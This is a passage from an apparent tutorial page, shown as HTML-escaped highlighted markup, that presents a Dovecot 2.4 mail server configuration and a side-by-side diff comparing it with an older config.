&lt;span class="n"&gt;mail_path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;
&lt;span class="n"&gt;mail_privileged_group&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt;
&lt;span class="n"&gt;protocols&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;pop3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;yes&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;passdb&lt;/span&gt; &lt;span class="n"&gt;pam&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;userdb&lt;/span&gt; &lt;span class="n"&gt;passwd&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;namespace&lt;/span&gt; &lt;span class="n"&gt;inbox&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;inbox&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;yes&lt;/span&gt;
  &lt;span class="n"&gt;mailbox&lt;/span&gt; &lt;span class="n"&gt;Drafts&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;special_use&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;Drafts&amp;quot;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;mailbox&lt;/span&gt; &lt;span class="n"&gt;Junk&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;special_use&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;Junk&amp;quot;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;mailbox&lt;/span&gt; &lt;span class="n"&gt;Trash&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;special_use&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;Trash&amp;quot;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;mailbox&lt;/span&gt; &lt;span class="n"&gt;Sent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;special_use&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;Sent&amp;quot;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;mailbox&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Sent Messages&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;special_use&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;Sent&amp;quot;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;imap&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;login&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;inet_listener&lt;/span&gt; &lt;span class="n"&gt;imap&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;inet_listener&lt;/span&gt; &lt;span class="n"&gt;imaps&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;pop3&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;login&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;inet_listener&lt;/span&gt; &lt;span class="n"&gt;pop3&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;inet_listener&lt;/span&gt; &lt;span class="n"&gt;pop3s&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;login&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;inet_listener&lt;/span&gt; &lt;span class="n"&gt;submission&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;inet_listener&lt;/span&gt; &lt;span class="n"&gt;submissions&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;lmtp&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;unix_listener&lt;/span&gt; &lt;span class="n"&gt;lmtp&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;imap&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;pop3&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;submission&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;unix_listener&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;userdb&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;worker&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;unix_listener&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;ssl_server&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;cert_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dovecot&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;private&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dovecot&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pem&lt;/span&gt;
  &lt;span class="n"&gt;key_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dovecot&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;private&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dovecot&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Then I use &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;diff&lt;/span&gt; &lt;span class="pre"&gt;-y&lt;/span&gt;&lt;/code&gt;  to compare these two files:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;dovecot_config_version&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;2.4.2&lt;/span&gt;                                  &lt;span class="o"&gt;|&lt;/span&gt;  &lt;span class="n"&gt;dovecot_config_version&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;2.4.0&lt;/span&gt;
&lt;span class="n"&gt;dovecot_storage_version&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;2.4.0&lt;/span&gt;                                    &lt;span class="n"&gt;dovecot_storage_version&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;2.4.0&lt;/span&gt;
&lt;span class="n"&gt;auth_allow_cleartext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;yes&lt;/span&gt;                                      &lt;span class="o"&gt;|&lt;/span&gt;  &lt;span class="n"&gt;fts_autoindex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;yes&lt;/span&gt;
&lt;span class="n"&gt;auth_mechanisms&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;plain&lt;/span&gt; &lt;span class="n"&gt;login&lt;/span&gt;                                   &lt;span class="o"&gt;|&lt;/span&gt;  &lt;span class="n"&gt;fts_autoindex_max_recent_msgs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;999&lt;/span&gt;
&lt;span class="n"&gt;mail_driver&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;maildir&lt;/span&gt;                                           &lt;span class="o"&gt;|&lt;/span&gt;  &lt;span class="n"&gt;fts_search_add_missing&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;yes&lt;/span&gt;
&lt;span class="n"&gt;mail_path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;~/&lt;/span&gt;&lt;span class="n"&gt;Maildir&lt;/span&gt;                                           &lt;span class="o"&gt;|&lt;/span&gt;  &lt;span class="n"&gt;mail_driver&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mbox&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;  &lt;span class="n"&gt;mail_home&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/%&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;  &lt;span class="n"&gt;mail_inbox_path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;/%&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;  &lt;span class="n"&gt;mail_path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;
&lt;span class="n"&gt;mail_privileged_group&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt;                                       &lt;span class="n"&gt;mail_privileged_group&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mail&lt;/span&gt;
&lt;span class="n"&gt;protocols&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pop3&lt;/span&gt;                                                &lt;span class="o"&gt;|&lt;/span&gt;  &lt;span class="n"&gt;protocols&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="n"&gt;ssl_client_ca_dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ssl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;certs&lt;/span&gt;                              &lt;span class="o"&gt;|&lt;/span&gt;    &lt;span class="n"&gt;pop3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;yes&lt;/span&gt;
                                                                &lt;span class="o"&gt;|&lt;/span&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;  &lt;span class="n"&gt;passdb&lt;/span&gt; &lt;span class="n"&gt;pam&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;  &lt;span class="n"&gt;userdb&lt;/span&gt; &lt;span class="n"&gt;passwd&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;namespace&lt;/span&gt; &lt;span class="n"&gt;inbox&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;                                                  &lt;span class="n"&gt;namespace&lt;/span&gt; &lt;span class="n"&gt;inbox&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;inbox&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;yes&lt;/span&gt;                                                        &lt;span class="n"&gt;inbox&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;yes&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;
  &lt;span class="n"&gt;mailbox&lt;/span&gt; &lt;span class="n"&gt;Drafts&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;                                                   &lt;span class="n"&gt;mailbox&lt;/span&gt; &lt;span class="n"&gt;Drafts&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;special_use&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; \&lt;span class="n"&gt;Drafts&lt;/span&gt;                                       &lt;span class="o"&gt;|&lt;/span&gt;      &lt;span class="n"&gt;special_use&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;Drafts&amp;quot;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;                                                                  &lt;span class="p"&gt;}&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;
  &lt;span class="n"&gt;mailbox&lt;/span&gt; &lt;span class="n"&gt;Junk&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;                                                     &lt;span class="n"&gt;mailbox&lt;/span&gt; &lt;span class="n"&gt;Junk&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;special_use&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; \&lt;span class="n"&gt;Junk&lt;/span&gt;                                         &lt;span class="o"&gt;|&lt;/span&gt;      &lt;span class="n"&gt;special_use&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;Junk&amp;quot;&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;    &lt;span class="p"&gt;}&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;    &lt;span class="n"&gt;mailbox&lt;/span&gt; &lt;span class="n"&gt;Trash&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;      &lt;span class="n"&gt;special_use&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;Trash&amp;quot;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;                                                                  &lt;span class="p"&gt;}&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;
  &lt;span class="n"&gt;mailbox&lt;/span&gt; &lt;span class="n"&gt;Sent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;                                                     &lt;span class="n"&gt;mailbox&lt;/span&gt; &lt;span class="n"&gt;Sent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;special_use&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; \&lt;span class="n"&gt;Sent&lt;/span&gt;                                         &lt;span class="o"&gt;|&lt;/span&gt;      &lt;span class="n"&gt;special_use&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;Sent&amp;quot;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;                                                                  &lt;span class="p"&gt;}&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;
  &lt;span class="n"&gt;mailbox&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Sent Messages&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;                                          &lt;span class="n"&gt;mailbox&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Sent Messages&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;special_use&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; \&lt;span class="n"&gt;Sent&lt;/span&gt;                                         &lt;span class="o"&gt;|&lt;/span&gt;      &lt;span class="n"&gt;special_use&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;Sent&amp;quot;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;                                                                  &lt;span class="p"&gt;}&lt;/span&gt;
                                                                &lt;span class="o"&gt;|&lt;/span&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;mailbox&lt;/span&gt; &lt;span class="n"&gt;Trash&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;                                               &lt;span class="o"&gt;|&lt;/span&gt;  &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;imap&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;login&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;special_use&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; \&lt;span class="n"&gt;Trash&lt;/span&gt;                                        &lt;span class="o"&gt;|&lt;/span&gt;    &lt;span class="n"&gt;inet_listener&lt;/span&gt; &lt;span class="n"&gt;imap&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;    &lt;span class="p"&gt;}&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;    &lt;span class="n"&gt;inet_listener&lt;/span&gt; &lt;span class="n"&gt;imaps&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;                                                                  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;                                                                  &lt;span class="p"&gt;}&lt;/span&gt;
                                                                &lt;span class="o"&gt;|&lt;/span&gt;  &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;pop3&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;login&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="n"&gt;passdb&lt;/span&gt; &lt;span class="n"&gt;pam&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;                                                    &lt;span class="o"&gt;|&lt;/span&gt;    &lt;span class="n"&gt;inet_listener&lt;/span&gt; &lt;span class="n"&gt;pop3&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;driver&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pam&lt;/span&gt;                                                  &lt;span class="o"&gt;|&lt;/span&gt;    &lt;span class="p"&gt;}&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;    &lt;span class="n"&gt;inet_listener&lt;/span&gt; &lt;span class="n"&gt;pop3s&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;                                                                  &lt;span class="p"&gt;}&lt;/span&gt;
                                                                &lt;span class="o"&gt;|&lt;/span&gt;  &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;submission&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;login&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="n"&gt;userdb&lt;/span&gt; &lt;span class="n"&gt;passwd&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;                                                 &lt;span class="o"&gt;|&lt;/span&gt;    &lt;span class="n"&gt;inet_listener&lt;/span&gt; &lt;span class="n"&gt;submission&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;driver&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;passwd&lt;/span&gt;                                               &lt;span class="o"&gt;|&lt;/span&gt;    &lt;span class="p"&gt;}&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;    &lt;span class="n"&gt;inet_listener&lt;/span&gt; &lt;span class="n"&gt;submissions&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;    &lt;span class="p"&gt;}&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;  &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;lmtp&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;    &lt;span class="n"&gt;unix_listener&lt;/span&gt; &lt;span class="n"&gt;lmtp&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;    &lt;span class="p"&gt;}&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;  &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;imap&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;  &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;pop3&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;  &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;submission&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;                                                                  &lt;span class="p"&gt;}&lt;/span&gt;
                                                                &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;
&lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;                                                     &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;unix_listener&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;spool&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;private&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;               &lt;span class="o"&gt;|&lt;/span&gt;    &lt;span class="n"&gt;unix_listener&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;userdb&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;group&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;                                             &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;
    &lt;span class="n"&gt;mode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0666&lt;/span&gt;                                                 &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;
    &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;                                              &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;                                                                  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;                                                                  &lt;span class="p"&gt;}&lt;/span&gt;
